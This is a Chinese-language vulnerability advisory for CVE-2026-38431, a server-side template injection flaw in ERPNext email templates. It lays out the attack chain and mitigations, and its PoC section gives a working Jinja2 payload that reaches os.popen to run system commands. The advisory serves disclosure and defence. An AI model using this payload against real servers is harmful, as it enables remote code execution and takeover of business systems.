IPBUF安全漏洞报告
English
CVE-2026-38431 CVSS 9.8 严重

CVE-2026-38431 ERPNext服务端模板注入漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-38431
漏洞类型
服务端模板注入 (SSTI)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ERPNext

相关标签

SSTIERPNextRCE远程代码执行严重漏洞

漏洞概述

ERPNext v15.103.1及更早版本存在严重的服务端模板注入(SSTI)漏洞。该漏洞允许具有创建或编辑电子邮件模板权限的攻击者,在模板中注入恶意的模板表达式。当服务器渲染这些受污染的模板时,注入的代码将被执行。由于CVSS评分高达9.8,且涉及机密性、完整性和可用性的全面影响,该漏洞极具破坏性。攻击者可利用此漏洞在服务器端执行任意代码,进而完全控制受影响的系统,窃取敏感数据或破坏业务流程,需引起高度重视。

技术细节

该漏洞源于ERPNext使用的Frappe框架中的电子邮件模板引擎未能安全处理用户输入。在Frappe/Jinja2模板引擎中,特定的语法(如`{{ }}`)用于变量替换和逻辑控制。攻击者利用具有编辑权限的账户,在邮件模板字段中插入恶意构造的Payload。当系统触发邮件发送或预览功能时,后端会解析并渲染该模板。此时,恶意表达式被传递给模板解释器执行。例如,攻击者可以利用Python对象继承链(如`{{ ''.__class__.__mro__[1].__subclasses__() }}`)来访问危险类(如`os.system`或`subprocess`),从而实现远程命令执行(RCE)。尽管CVSS向量标注为无需认证,但实际利用通常需要具备模板编辑权限。

攻击链分析

STEP 1
侦察
识别目标系统是否运行ERPNext及其版本信息。
STEP 2
获取权限
获取具有创建或编辑邮件模板权限的账户凭证。
STEP 3
注入Payload
在邮件模板编辑界面中注入恶意的Jinja2 SSTI代码。
STEP 4
触发渲染
发送邮件或预览模板,触发服务器端渲染逻辑。
STEP 5
执行代码
服务器解析恶意表达式,执行任意系统命令,获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for ERPNext SSTI (CVE-2026-38431) # The attacker injects a malicious payload into the Email Template body field. # Standard Jinja2 SSTI payload to execute system commands payload = "{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('id').read() }}" # Steps to reproduce: # 1. Login to ERPNext. # 2. Navigate to "Email Template" list. # 3. Create a new template or edit an existing one. # 4. Paste the payload into the HTML/Text content. # 5. Save the template. # 6. Trigger a notification or preview that renders this template. # 7. The server will execute 'id' and return the output in the rendered content.

影响范围

ERPNext <= 15.103.1

防御指南

临时缓解措施
如果无法立即升级,应严格限制用户对“Email Template”模块的访问权限,仅允许核心管理员进行编辑操作。同时,部署安全监控机制,检测模板渲染请求中的异常字符(如`{{`、`{%`等),并定期审查现有邮件模板内容是否存在恶意代码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表